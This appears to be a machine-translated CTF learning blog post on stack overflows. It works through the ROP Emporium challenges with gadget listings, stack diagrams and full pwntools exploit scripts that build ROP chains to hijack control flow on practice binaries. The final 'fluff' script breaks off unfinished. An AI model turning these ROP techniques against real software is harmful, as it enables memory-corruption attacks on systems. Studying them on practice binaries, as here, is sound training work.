当前位置:网站首页>Stack overflow learning summary

Stack overflow learning summary

2022-06-13 00:33:00 P1n9

Stack overflow

Preface

         It's been a long time since the last blog posting , Don't have the time , It is also possible to sum up one wave at a time ,CTF The study of exploiting and utilizing vulnerabilities in , That is to say pwn, Usually with ctfwiki To learn , The content inside can really , But getting started always seems too boring , The stack overflow vulnerability has been learned , Integer overflow vulnerability , Format string vulnerability , Conditional competition loopholes , And the study of heap structure , I haven't done some problems using the heap yet , In addition to the stack overflow vulnerability , I follow the others ctfwiki To the , Stack overflow vulnerability , I think ctfwiki Too many , It's so boring , Just go straight to A set of ROP To do the introductory questions , The following analysis of the problem was completed by me alone , It records how I solve the problem step by step , And the difficulties encountered , I won't write the summary of other loopholes , Because they are all ctfwiki There are some on the Internet .

Learning resources

Study the tutorial :https://blog.csdn.net/song_lee/article/details/99694514

In depth understanding and application of stack overflow , You can refer to :

x86 Memory attack technology in architecture ROP( One )

x86 Memory attack technology in architecture ROP( Two )

Linux Binary program protection mechanism :

Linux Detailed explanation of binary program protection mechanism

Actual combat application

The following choices are 64/32 Bit program :

https://ropemporium.com/

All the resources below are downloaded from the link above , The above resources seem to have been updated , It's different from the previous one , I haven't found the latest solution to this resource , I wrote this can also be used as a reference for novices .

ret2win

windows Suddenly update , I can only use pwntools To find the ret2win The address of the function

from pwn import *

context.log_level='debug'
f = ELF('./ret2win')
print(hex(f.symbols['ret2win']))

because sendline Will send one more 0a byte , So the return address is overwritten incorrectly , After debugging and modification , Finally get the right flag

from pwn import *

context.log_level='debug'

#f = ELF('./ret2win')
#print(hex(f.symbols['ret2win']))
p = process("./ret2win")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x400744")
p.recvuntil('> ')
p.sendline(b'*' * 40 + b'\x56\x07\x40\x00\x00\x00\x00\x00')

p.interactive()

split32

32 Bit procedure and 64 The use of bit programs is really different ... because 32 Bit programs pass parameters by pressing the stack , and 64 Bits are passed by registers , Such a change , As a result, the utilization methods are very different , It seems that using the program is to adjust measures to local conditions

The first method :

Direct use of , to glance at , because system Find the passed in parameter in the function , It's through ebp+8 To find the , That is in old ebp And return address next , It is also the next to the previous return address ;

.text:08048615                 push    offset command  ; "/bin/ls"
.text:0804861A                 call    _system

The whole function stack process is the following

|----------------|
|ebp:****    
|----------------|
| The return address :0x08048657 ——->   The previous function executes  ret, sp + 4
|----------------|	  The next function executes  call, sp - 4, The return address ( Namely call system The next instruction ) Press the original stack space again 
|system  Parameters       |push ebp,ebp  Put it back in its original position ,system  adopt  ebp + 8  Find the parameters , Still in this position 
|----------------|

The parameters to be used are :

.data:0804A030 usefulString    db '/bin/cat flag.txt',0

Need to compute read The distance to the storage place ebp Distance of , Then calculate how many... Are written *

.text:080485AD pwnme           proc near               ; CODE XREF: main+45↑p
.text:080485AD
.text:080485AD s               = byte ptr -28h
.text:080485AD
.text:080485AD ; __unwind {
    
.text:080485AD                 push    ebp
.text:080485AE                 mov     ebp, esp
.text:080485B0                 sub     esp, 28h

28h+old ebp Four bytes of = 44 byte

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./split32")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x080485E3")
p.recvuntil('> ')
p.sendline(b'*' * 44 + b'\x1A\x86\x04\x08' + b'\x30\xA0\x04\x08')

p.interactive()

The second method :

First find plt The corresponding contents in the table

gdb-peda$ x /15i 0x080483E0
   0x80483e0 <[email protected]>:      jmp    DWORD PTR ds:0x804a018
   0x80483e6 <[email protected]+6>:    push   0x18
   0x80483eb <[email protected]+11>:   jmp    0x80483a0
   0x80483f0 <[email protected]>:   jmp    DWORD PTR ds:0x804a01c
   0x80483f6 <[email protected]+6>: push   0x20
   0x80483fb <[email protected]+11>:        jmp    0x80483a0
   0x8048400 <[email protected]>:     jmp    DWORD PTR ds:0x804a020
   0x8048406 <[email protected]+6>:   push   0x28
   0x804840b <[email protected]+11>:  jmp    0x80483a0
   0x8048410 <[email protected]>:      jmp    DWORD PTR ds:0x804a024
   0x8048416 <[email protected]+6>:    push   0x30
   0x804841b <[email protected]+11>:   jmp    0x80483a0
   0x8048420:   jmp    DWORD PTR ds:0x8049ffc

If you directly change the overflow return address to plt Corresponding sytem, At this point, the stack space is as follows

|----------------|
|ebp:****    
|----------------|
| The return address :0x080483e0 ——->   The previous function executes  ret, sp + 4
|----------------|			xxx This step is not performed  -  Don't execute  call  Instructions , The return address will not be pressed , therefore sp  Nor will it return to its place 
|null   					system  Medium  push ebp, here  ebp  Will run to the stack   Original return address   The location of 
|---------------|
|system  Parameters 					ebp + 8  Found parameter position 

The code is as follows :

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./split32")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x080485E3")
p.recvuntil('> ')
p.sendline(b'*' * 44 + b'\xe0\x83\x04\x08' + b'\x00\x00\x00\x00' + b'\x30\xA0\x04\x08')

p.interactive()

split

int pwnme()
{
  char s; // [rsp+0h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts("Contriving a reason to ask user for data...");
  printf("> ", 0LL);
  read(0, &s, 0x60uLL);
  return puts("Thank you!");
}

One function is usefulFunction, But I don't know how to modify this /bin/ls

int usefulFunction()
{
  return system("/bin/ls");
}

data There is a /bin/cat flag.txt

 Insert picture description here

It is possible to take advantage of a simple ROP Chain to achieve

Because the system The parameters of are pop Register to assign , Then call directly call system That's all right. .

ROPgadget It's an excellent gadget Looking for tools ,ROPgadget install Error handling And use , Usage is as follows

[email protected]:~/rop_emporium_all_challenges$ ROPgadget --binary split --only 'pop|ret' | grep rdi
0x00000000004007c3 : pop rdi ; ret

Or use gdb plug-in unit peda Self contained ROPsearch command

gdb-peda$ ROPsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x004007c3 : (b'5fc3')	pop rdi; ret

Finally, use the script :

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./split")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x400730")
p.recvuntil('> ')
p.sendline(b'*' * 40 + b'\xc3\x07\x40\x00\x00\x00\x00\x00' + \
        b'\x60\x10\x60\x00\x00\x00\x00\x00' + b'\x4B\x07\x40\x00\x00\x00\x00\x00')

p.interactive()

callme

“.dll .obj .lib” and “ .so .o .a” Files with dynamic links and static links

The principle of stack overflow is the same , But the functions used are different ,

.text:00000000004008F2 usefulFunction  proc near
.text:00000000004008F2 ; __unwind {
    
.text:00000000004008F2                 push    rbp
.text:00000000004008F3                 mov     rbp, rsp
.text:00000000004008F6                 mov     edx, 6
.text:00000000004008FB                 mov     esi, 5
.text:0000000000400900                 mov     edi, 4
.text:0000000000400905                 call    _callme_three
.text:000000000040090A                 mov     edx, 6
.text:000000000040090F                 mov     esi, 5
.text:0000000000400914                 mov     edi, 4
.text:0000000000400919                 call    _callme_two
.text:000000000040091E                 mov     edx, 6
.text:0000000000400923                 mov     esi, 5
.text:0000000000400928                 mov     edi, 4
.text:000000000040092D                 call    _callme_one
.text:0000000000400932                 mov     edi, 1          ; status
.text:0000000000400937                 call    _exit
.text:0000000000400937 ; } // starts at 4008F2
.text:0000000000400937 usefulFunction  endp

You can see that the parameters passed in are incorrect , We need to use ROP To construct the correct parameters , because 64 Bit programs use registers to transfer parameters , also fastcall The parameter is pressed from right to left

 Insert picture description here

use ROPgadget Find the corresponding instruction ,rdi For the first parameter ,rsi It's the second parameter ,rdx It's the third parameter

$ ROPgadget --binary callme --only 'pop|ret' | grep rdi                           
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret
$ ROPgadget --binary callme --only 'pop|ret' | grep rsi
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a1 : pop rsi ; pop r15 ; ret
0x000000000040093d : pop rsi ; pop rdx ; ret
$ ROPgadget --binary callme --only 'pop|ret' | grep rdx
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x000000000040093e : pop rdx ; ret
0x000000000040093d : pop rsi ; pop rdx ; ret

Start building the stack , Mainly if you want to use call _callme_one You can't , because call Will press the return address , This makes it impossible for the program to use our own constructed return address , So we have to use plt surface

|----------------|
|ebp:*****      |
|----------------|
|0x040093c( to callone parameter assignment )
|----------------|
|0xDEADBEEFDEADBEEF
|----------------|
|0xCAFEBABECAFEBABE
|----------------|
|0xD00DF00DD00DF00D
|----------------|
| The return address :0x0400720   ret When ,pop rip;add esp, 8
|----------------|
|0x040093c( to calltwo parameter assignment )
|----------------|
|0xDEADBEEFDEADBEEF
|----------------|
|0xCAFEBABECAFEBABE
|----------------|
|0xD00DF00DD00DF00D
|----------------|
| The return address :0x0400740   ret When ,pop rip;add esp, 8
|----------------|
|0x040093c( to callthree parameter assignment )
|----------------|
|0xDEADBEEFDEADBEEF( The first parameter )
|----------------|
|0xCAFEBABECAFEBABE( The second parameter )
|----------------|
|0xD00DF00DD00DF00D( The third parameter )
|----------------|
| The return address :0x04006F0   ret When ,pop rip;add esp, 8
|----------------|

Using code :

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./callme")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x04008E0")
p.recvuntil('> ')

one_plt_addr = 0x0400720
two_plt_addr = 0x0400740
three_plt_addr = 0x04006F0
pop_args_gadget = 0x040093c

args = p64(0xDEADBEEFDEADBEEF) + p64(0xCAFEBABECAFEBABE) + p64(0xD00DF00DD00DF00D)

payload = b'*' * 40
payload += p64(pop_args_gadget) + args + p64(one_plt_addr)
payload += p64(pop_args_gadget) + args + p64(two_plt_addr)
payload += p64(pop_args_gadget) + args + p64(three_plt_addr)

p.sendline(payload)

p.interactive()

Relevant reference :

p32 p64
 Is to convert a number into characters , for example 
p32(0xdeadbeef)
 It's going to change to 
'\xef\xbe\xad\xde'
 The order here is reversed because linux The compiled program is a small terminal program 

u32 u64
 Is to convert characters into numbers , for example 
u32('\x12\x34\x56\x78')
 result 
0x78563412

callme32

and 64 Bit is almost necessary ebp+8( The first parameter ),+c( The second parameter ),+10( The third parameter ) To find the corresponding parameter

The trouble is , Namely callme The function is __cdecl Calling convention , The parameter is pressed from right to left , And it is the caller who cleans up the stack , So how to clear the parameters in the stack , Here we need rop Come on pop 了

$ ROPgadget --binary callme32 --only 'pop|ret' | grep edi                       
0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080487fa : pop edi ; pop ebp ; ret
0x080487f9 : pop esi ; pop edi ; pop ebp ; ret

choice 0x080487f9 Of rop chain

Construction stack

|----------------|
|ebp:****       |
|----------------|
|0x080484F0( to callone Of plt Address )
|----------------|
|callone Return address of :0x080487f9
|----------------|
|0xDEADBEEF
|----------------|
|0xCAFEBABE
|----------------|
|0xD00DF00D
|----------------|
|0x08048550( to calltwo Of plt Address )
|----------------|
...

Using code :

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./callme32")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x04008E0")
p.recvuntil('> ')

one_plt_addr = 0x080484F0
two_plt_addr = 0x08048550
three_plt_addr = 0x080484E0
pop_args_gadget = 0x080487f9

args = p32(0xDEADBEEF) + p32(0xCAFEBABE) + p32(0xD00DF00D)

payload = b'*' * 44
payload += p32(one_plt_addr) + p32(pop_args_gadget) + args
payload += p32(two_plt_addr) + p32(pop_args_gadget) + args
payload += p32(three_plt_addr) + p32(pop_args_gadget) + args

p.sendline(payload)

p.interactive()

write4

First pwnme and print_file All in libwrite4.so in , The basic idea is to enter print_file Of plt, And then rdi The value of is assigned to flag.txt, First find pop rdi; ret

$ ROPgadget --binary write4 --only 'pop|ret' | grep rdi
0x0000000000400693 : pop rdi ; ret

How can we put flag.txt Assign values to memory , Search with mov Of gadget Well

$ ROPgadget --binary write4 --only 'pop|mov|ret'
Gadgets information
============================================================
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e6 : ret

Unique gadgets found: 15

These two instructions can be used here :

0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400628 : mov qword ptr [r14], r15 ; ret

r14 Write the address you want to save , I want to write here 000601030, Have a try :

.data:0000000000601030 __dso_handle    db    0
.data:0000000000601031                 db    0
.data:0000000000601032                 db    0
.data:0000000000601033                 db    0
.data:0000000000601034                 db    0
.data:0000000000601035                 db    0
.data:0000000000601036                 db    0
.data:0000000000601037                 db    0

Construct stack space :

|----------------|
|ebp:****       |
|----------------|
|rop chain 1:0x0400690(pop r14 ; pop r15 ; ret)
|----------------|
| Storage location : 0x000601030
|----------------|
| Target character :flag.txt
|----------------|
|rop chain 2: 0x0400628(mov qword ptr [r14], r15 ; ret)
|----------------|
|rop chain 3: 0x0400693(pop rdi ; ret)
|----------------|
|0x000601030
|----------------|
|0x0400510(print_file Of plt Address )
|----------------|
...

Using code :

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./write4")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x040060B")
p.recvuntil('> ')

payload = b'*' * 40
payload += p64(0x0400690) + p64(0x000601030) + b'flag.txt'
payload += p64(0x0400628)
payload += p64(0x0400693) + p64(0x000601030)
payload += p64(0x0400510)

p.sendline(payload)

p.interactive()

write432

32 The use of bits is similar , Just a little change

First search the available Gadget

$ ROPgadget --binary write432 --only 'pop|mov|ret'
Gadgets information
============================================================
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x08048543 : mov dword ptr [edi], ebp ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x080485ab : pop ebp ; ret
0x080485a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x080485aa : pop edi ; pop ebp ; ret
0x080485a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048386 : ret
0x0804849e : ret 0xeac1

Unique gadgets found: 11

Usable Gadget as follows :

0x080485aa : pop edi ; pop ebp ; ret
0x08048543 : mov dword ptr [edi], ebp ; ret

Construction stack :

|----------------|
|ebp:****       |
|----------------|
|rop chain 1:0x080485aa(pop edi ; pop ebp ; ret)
|----------------|
| Storage location : 0x0804A018
|----------------|
| Target character :flag
|----------------|
|rop chain 2: 0x08048543(mov dword ptr [edi], ebp ; ret)
|----------------|
|rop chain 3: 0x080485aa(pop edi ; pop ebp ; ret)
|----------------|
| Storage location : 0x0804A01C
|----------------|
| Target character :.txt
|----------------|
|rop chain 4: 0x08048543(mov dword ptr [edi], ebp ; ret)
|----------------|
|0x080483D0(print_file Of plt Address )
|----------------|
|null
|----------------|
|0x0804A018
|----------------|
...

Where the data is stored :

.data:0804A018 __data_start    db    0                 ; Alternative name is '__data_start'
.data:0804A018                                         ; data_start
.data:0804A019                 db    0
.data:0804A01A                 db    0
.data:0804A01B                 db    0
.data:0804A01C                 public __dso_handle
.data:0804A01C __dso_handle    db    0
.data:0804A01D                 db    0
.data:0804A01E                 db    0
.data:0804A01F                 db    0
.data:0804A01F _data           ends

Using code :

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./write432")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x08048517")
p.recvuntil('> ')

payload = b'*' * 44
payload += p32(0x080485aa) + p32(0x0804A018) + b'flag' + p32(0x08048543)
payload += p32(0x080485aa) + p32(0x0804A01C) + b'.txt' + p32(0x08048543)
payload += p32(0x080483D0) + p32(0x0) + p32(0x0804A018)

p.sendline(payload)

p.interactive()

badchars

Filtered some characters , This restriction needs to be bypassed

I think it can be passed add Modify the value of the register to bypass

$ ROPgadget --binary badchars --only 'add|pop|mov|ret'
Gadgets information
============================================================
0x000000000040054f : add bl, dh ; ret
0x000000000040062c : add byte ptr [r15], r14b ; ret
0x00000000004006ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040054e : add byte ptr [rax], al ; ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; ret
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040062d : add byte ptr [rdi], dh ; ret
0x00000000004004eb : add esp, 8 ; ret
0x00000000004004ea : add rsp, 8 ; ret
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec

Unique gadgets found: 30

You can use this combination step by step to flag.txt Assign values to the data District

# write in data District 
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
# Modify the input string 
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x000000000040062c : add byte ptr [r15], r14b ; ret

Construction stack :

|----------------|
|rbp:****       |
|----------------|
|rop chain 1:0x040069c(pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret)
|----------------|
| Target character :fl_e,tvt
|----------------|
| Destination address : 0x0601030
|----------------|
|00
|----------------|
|00
|----------------|
|rop chain 2: 0x0400634(mov qword ptr [r13], r12 ; ret)
|----------------|
|rop chain 30x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601032
|----------------|
|rop chain 40x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop chain 50x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601033
|----------------|
|rop chain 60x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop chain 70x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601034
|----------------|
|rop chain 80x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop chain 90x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601036
|----------------|
|rop chain 100x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop chain 110x04006a3(pop rdi ; ret)
|----------------|
|0x0601030
|----------------|
|0x0400510(print_file Of plt Address )
|----------------|
...

Using code :

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./badchars")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x0040060B")
p.recvuntil('> ')

payload = b'*' * 40
payload += p64(0x040069c) + b'fl_e,tvt' + p64(0x0601030) + p64(0x00) + p64(0x00) + p64(0x0400634)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601032) + p64(0x040062c)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601033) + p64(0x040062c)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601034) + p64(0x040062c)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601036) + p64(0x040062c)
payload += p64(0x04006a3) + p64(0x0601030) + p64(0x0400510)

p.sendline(payload)

p.interactive()

badchars32

$ ROPgadget --binary badchars32 --only 'xor|add|pop|mov|ret'                  
Gadgets information
============================================================
0x080484e8 : add al, 8 ; add ecx, ecx ; ret
0x0804854d : add bl, al ; mov dword ptr [edi], esi ; ret
0x08048545 : add bl, al ; xor byte ptr [ebp], bl ; ret
0x0804847f : add bl, dh ; ret
0x0804847d : add byte ptr [eax], al ; add bl, dh ; ret
0x0804847c : add byte ptr [eax], al ; add byte ptr [eax], al ; ret
0x08048398 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0804847e : add byte ptr [eax], al ; ret
0x08048543 : add byte ptr [ebp], bl ; ret
0x080484e5 : add eax, 0x804a020 ; add ecx, ecx ; ret
0x080484ea : add ecx, ecx ; ret
0x080485b5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839a : add esp, 8 ; pop ebx ; ret
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret
0x0804854c : pop ebp ; add bl, al ; mov dword ptr [edi], esi ; ret
0x08048544 : pop ebp ; add bl, al ; xor byte ptr [ebp], bl ; ret
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x08048386 : ret
0x0804849e : ret 0xeac1
0x08048547 : xor byte ptr [ebp], bl ; ret
0x080485cf : xor ebx, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret

Unique gadgets found: 29

Available instructions :

 assignment :
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
 modify :
0x0804839d : pop ebx ; ret
0x080485bb : pop ebp ; ret
0x08048547 : xor byte ptr [ebp], bl ; ret

Construction stack :

|----------------|
|ebp:****       |
|----------------|
|rop chain 1:0x080485b9(pop esi ; pop edi ; pop ebp ; ret)
|----------------|
| Target character :flag Characters after XOR 
|----------------|
| Storage location : 0804A018
|----------------|
|null 
|----------------|
|rop chain 2: 0x0804854f(mov dword ptr [edi], esi ; ret)
|----------------|
|rop chain 3:0x080485b9(pop esi ; pop edi ; pop ebp ; ret)
|----------------|
| Target character :.txt Characters after XOR 
|----------------|
| Storage location : 0804A01C
|----------------|
|null 
|----------------|
|rop chain 4: 0x0804854f(mov dword ptr [edi], esi ; ret)
|----------------|
|rop chain 5: 0x0804839d : pop ebx ; ret
|----------------|
|xor_byte
|----------------|
|rop chain 6: 0x080485bb : pop ebp ; ret
|----------------|
| Change location 
|----------------|
|0x08048547 : xor byte ptr [ebp], bl ; ret
|----------------|
|...
|----------------|
|0x080483D0(print_file Of plt Address )
|----------------|
|null
|----------------|
|0x0804A018
|----------------|
...

Using code :

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./badchars32")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x0040060B")
p.recvuntil('> ')

xor_byte = 0x02
flag = "flag.txt"
target = []

for i in range(0, len(flag), 4):
    tmp = ''
    for j in range(0, 4):
        tmp += chr(ord(flag[i + j]) ^ xor_byte)
    target.append(tmp)
    

print_file_plt_address = 0x080483D0
pop_esi_edi_ebp = 0x080485b9
mov_edi_esi = 0x0804854f
pop_ebx = 0x0804839d
pop_ebp = 0x080485bb
xor_ebp_bl = 0x08048547
data_address = 0x0804A018

payload = b'*' * 44
for i in range(len(target)):
    payload += p32(pop_esi_edi_ebp) + bytes(target[i], encoding='utf8') + p32(data_address + 4 * i) + p32(0x00) + p32(mov_edi_esi)
payload += p32(pop_ebx) + p32(xor_byte)
for i in range(len(flag)):
    payload += p32(pop_ebp) + p32(data_address + i) + p32(xor_ebp_bl)
payload += p32(print_file_plt_address) + p32(0x00) + p32(data_address)

p.sendline(payload)

p.interactive()

fluff

Look for Gadget, I can't find anything to use , This question is related to write432 similar , But this time I can't see it at a glance gadget, It takes a lot of effort to construct , therefore , This question focuses on the secret gadget Search for

$ ROPgadget --binary fluff --only 'shl|shr|xor|sub|add|pop|mov|ret'
Gadgets information
============================================================
0x000000000040054f : add bl, dh ; ret
0x00000000004006ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040054e : add byte ptr [rax], al ; ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; ret
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004004e3 : add esp, 8 ; ret
0x00000000004004e2 : add rsp, 8 ; ret
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400295 : ret
0x00000000004006b5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret

Unique gadgets found: 27

Use puts leak Out stdin Value , Use fgets Input flag.txt , And then use print_file(‘flag.txt’) , 3 Time Use stack overflow .( Is not workable , Because you can't get puts Of a function of plt surface , So it can't be adjusted )

.text:0000000000400628
.text:0000000000400628 questionableGadgets:
.text:0000000000400628                 xlat
.text:0000000000400629                 retn
.text:000000000040062A ; ---------------------------------------------------------------------------
.text:000000000040062A                 pop     rdx
.text:000000000040062B                 pop     rcx
.text:000000000040062C                 add     rcx, 3EF2h //0011 1110 1111 0010
.text:0000000000400633                 bextr   rbx, rcx, rdx
.text:0000000000400638                 retn
.text:0000000000400639 ; ---------------------------------------------------------------------------
.text:0000000000400639                 stosb
.text:000000000040063A                 retn

//stosb Instructions , take AL The value of the register is taken out and assigned to edi At the address pointed to .mov [edi],AL;edi=edi+1;
//bextr Instructions are useful https://www.felixcloutier.com/x86/bextr
//bextr It means that the second operand's 

Really? The structure cannot be ...

 Insert picture description here

I found an interesting point , It works Gadget Put together by the author

Find control rbx Can , Digging depth Gadget Have to use —depth 20

0x000000000040069a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

Stack construction :

|----------------|
|rbp:****       |
|----------------|
|mov eax, 0 ; pop rbp ; ret( Yes eax Zero clearing )
|----------------|
|pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret( control rbx)
|----------------|
|xlat; ret ( Assign values to the al)
|----------------|
|pop rdi ; ret( Yes edi assignment )
|----------------|
|stosb( Conduct , take al Value assigned to edi)
|----------------|

I found this kind of super stack , I still use his gadget...

|----------------|
|rbp:****       |
|----------------|
|mov eax, 0 ; pop rbp ; ret( Yes eax Zero clearing )
|----------------|
|pop rdx; pop rcx; add rcx, 3EF2h; bextr rbx, rcx, rdx; ret( control rbx)
|----------------|
|xlat; ret ( Assign values to the al)
|----------------|
|pop rdi ; ret( Yes edi assignment )
|----------------|
|stosb( Conduct , take al Value assigned to edi)
|----------------|
|mov eax, 0 ; pop rbp ; ret( Yes eax Zero clearing )
|----------------|
|pop rdx; pop rcx; add rcx, 3EF2h; bextr rbx, rcx, rdx; ret( control rbx)
|----------------|
|xlat; ret ( Assign values to the al)
|----------------|
|stosb( Conduct , take al Value assigned to edi)
|----------------|
....

I went to , Not yet mov eax,0 Too many times , Otherwise, the stack space will be exceeded

Using code :

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./fluff")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x0040060B")
p.recvuntil('> ')

f_address = 0x4005F6 - 0x3ef2
l_address = 0x4003C1 - 0x3ef2
